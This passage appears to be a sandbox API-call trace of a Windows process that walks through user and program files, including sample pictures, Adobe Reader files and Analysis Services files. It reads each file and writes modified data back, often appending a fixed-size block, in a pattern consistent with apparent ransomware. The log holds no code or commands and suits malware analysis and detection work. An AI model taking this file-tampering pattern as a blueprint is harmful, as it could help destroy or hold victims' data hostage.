dwFlags=0x0, lpWideCharStr="Bears.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Bears.jpg", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Bears.jpg", lpUsedDefaultChar=0x0) returned 9 [0035.598] ReadFile (in: hFile=0x1b4, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x354f2bc*=0x432, lpOverlapped=0x0) returned 1 [0035.599] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.599] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9ba, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x354f2d0*=0x9ba, lpOverlapped=0x0) returned 1 [0035.600] CloseHandle (hObject=0x1b4) returned 1 [0035.601] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0035.601] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.601] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd6b22 [0035.601] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.601] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.601] ReleaseMutex (hMutex=0x128) returned 1 [0035.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chrysanthemum.jpg", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.601] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Chrysanthemum.jpg", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chrysanthemum.jpg", lpUsedDefaultChar=0x0) returned 17 [0035.601] ReadFile (in: hFile=0x1b4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.605] ReadFile (in: hFile=0x1b4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.610] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xd5b22 [0035.610] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.614] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xd5b22 [0035.615] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.616] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.616] WriteFile (in: hFile=0x1b4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0xf000, lpOverlapped=0x0) returned 1 [0035.616] WriteFile (in: hFile=0x1b4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.616] CloseHandle (hObject=0x1b4) returned 1 [0035.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.894] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.898] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x4932 [0035.898] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.898] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.898] ReleaseMutex (hMutex=0x128) returned 1 [0035.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="as90.xsl", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="as90.xsl", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="as90.xsl", lpUsedDefaultChar=0x0) returned 8 [0035.900] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.918] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3932 [0035.918] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.924] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x3932 [0035.924] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.924] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.924] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.924] CloseHandle (hObject=0x1ac) returned 1 [0035.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\dt-lightning.exe" (normalized: "c:\\program files\\microsoft sync framework\\dt-lightning.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\dt-lightning.exe", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files\\Microsoft Sync Framework\\dt-lightning.exe", lpFilePart=0x354f690*="dt-lightning.exe") returned 0x3a [0035.925] GetLastError () returned 0x20 [0035.925] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x51 [0035.926] LocalFree (hMem=0x70da60) returned 0x0 [0035.926] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.926] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0035.926] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.926] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\dt-lightning.exe" (normalized: "c:\\program files\\microsoft sync framework\\dt-lightning.exe")) returned 0x20 [0035.926] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", lpFilePart=0x354f690*="Workflow.VisualBasic.Targets") returned 0x60 [0035.926] GetLastError () returned 0x5 [0035.926] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0035.926] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.927] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.927] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0035.927] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.927] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.927] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0035.927] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Journal.exe" (normalized: "c:\\program files\\windows journal\\journal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.933] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Journal.exe", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Journal.exe", lpFilePart=0x354f690*="Journal.exe") returned 0x2c [0035.933] GetLastError () returned 0x5 [0035.933] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0035.933] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.933] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.933] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0035.933] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.934] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Journal.exe" (normalized: "c:\\program files\\windows journal\\journal.exe")) returned 0x20 [0035.934] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.939] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp", lpFilePart=0x354f690*="Seyes.jtp") returned 0x34 [0035.939] GetLastError () returned 0x5 [0035.939] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x13 [0035.939] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.939] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.939] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0035.939] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.940] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" (normalized: "c:\\program files\\windows journal\\templates\\seyes.jtp")) returned 0x20 [0035.940] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\winscp.exe" (normalized: "c:\\program files\\windows mail\\winscp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.940] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\winscp.exe", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files\\Windows Mail\\winscp.exe", lpFilePart=0x354f690*="winscp.exe") returned 0x28 [0035.940] GetLastError () returned 0x20 [0035.940] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x51 [0035.940] LocalFree (hMem=0x70da60) returned 0x0 [0035.940] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.940] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0035.941] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.941] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\winscp.exe" (normalized: "c:\\program files\\windows mail\\winscp.exe")) returned 0x20 [0035.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\fpos.exe" (normalized: "c:\\program files (x86)\\adobe\\fpos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\fpos.exe", nBufferLength=0x104, lpBuffer=0x354f694, lpFilePart=0x354f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\fpos.exe", lpFilePart=0x354f690*="fpos.exe") returned 0x25 [0035.941] GetLastError () returned 0x20 [0035.941] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x354f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p͔폈H͔퐔H͔L͔ꢠǦ\x01") returned 0x51 [0035.941] LocalFree (hMem=0x70da60) returned 0x0 [0035.941] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x354d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.941] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x354f894) [0035.941] RtlUnwind (TargetFrame=0x354f8fc, TargetIp=0x406ffc, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.942] RtlUnwind (TargetFrame=0x354f920, TargetIp=0x407184, ExceptionRecord=0x354f378, ReturnValue=0x0) [0035.942] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\fpos.exe" (normalized: "c:\\program files (x86)\\adobe\\fpos.exe")) returned 0x20 [0035.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\llegiu-me.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.942] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.942] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x41fc [0035.942] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.942] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.942] ReleaseMutex (hMutex=0x128) returned 1 [0035.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Llegiu-me.htm", lpUsedDefaultChar=0x0) returned 13 [0035.942] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.952] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x31fc [0035.952] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.964] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x31fc [0035.965] WriteFile (in: hFile=0x1ac, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.965] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0035.965] WriteFile (in: hFile=0x1ac, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.965] CloseHandle (hObject=0x1ac) returned 1 [0035.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.966] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.966] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1e00 [0035.966] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.966] ReleaseMutex (hMutex=0x128) returned 1 [0035.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0035.966] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.970] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.970] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x354f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.971] CloseHandle (hObject=0x1ac) returned 1 [0035.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.972] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.972] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1e00 [0035.972] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0035.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.972] ReleaseMutex (hMutex=0x128) returned 1 [0035.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0035.972] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x354f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.974] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0035.974] WriteFile (in: hFile=0x1ac, lpBuffer=0x2771158*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x354f2d0, 